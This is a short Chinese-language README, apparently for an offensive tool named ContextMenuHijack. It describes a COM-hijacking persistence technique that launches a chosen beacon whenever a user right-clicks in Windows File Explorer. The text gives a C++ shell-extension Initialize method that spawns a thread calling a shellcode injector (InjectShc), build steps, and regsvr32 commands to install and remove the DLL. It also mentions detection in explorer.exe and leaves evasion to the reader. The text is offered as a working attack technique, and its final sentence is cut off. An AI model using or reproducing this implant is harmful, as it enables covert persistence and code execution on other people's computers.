这个启发我的原始创意来自 @NinjaParanoid：
ContextMenuHijack 是一种基于人类行为、利用 COM 劫持的简单持久化技术：当你在文件资源管理器中右键单击文件/文件夹以打开上下文菜单时，它会在同一时间执行我们指定的 beacon。
IFACEMETHODIMP FileContextMenuExt::Initialize( LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID ) {
DWORD tid = NULL;
CreateThread(NULL, 1024 * 1024, (LPTHREAD_START_ROUTINE)InjectShc, NULL, 0, &tid);
if (NULL == pDataObj) {
if (pidlFolder != NULL) {
}
return S_OK;
}
return S_OK;
}
你只需要加载解决方案文件 (.sln) 并编译它即可。需要注意的是，使用这种持久化技术需要管理员权限。完成这些操作后，你只需使用 regsvr32 将 DLL 文件注册到注册表中：
regsvr32 "C:\path\to\ContextMenuHijack.dll"
如果你想卸载它，只需使用
/u标志
regsvr32 /u "C:\path\to\ContextMenuHijack.dll"
explorer.exe 的线程堆栈中被检测到，使用何种规避技术则由你自己决定。
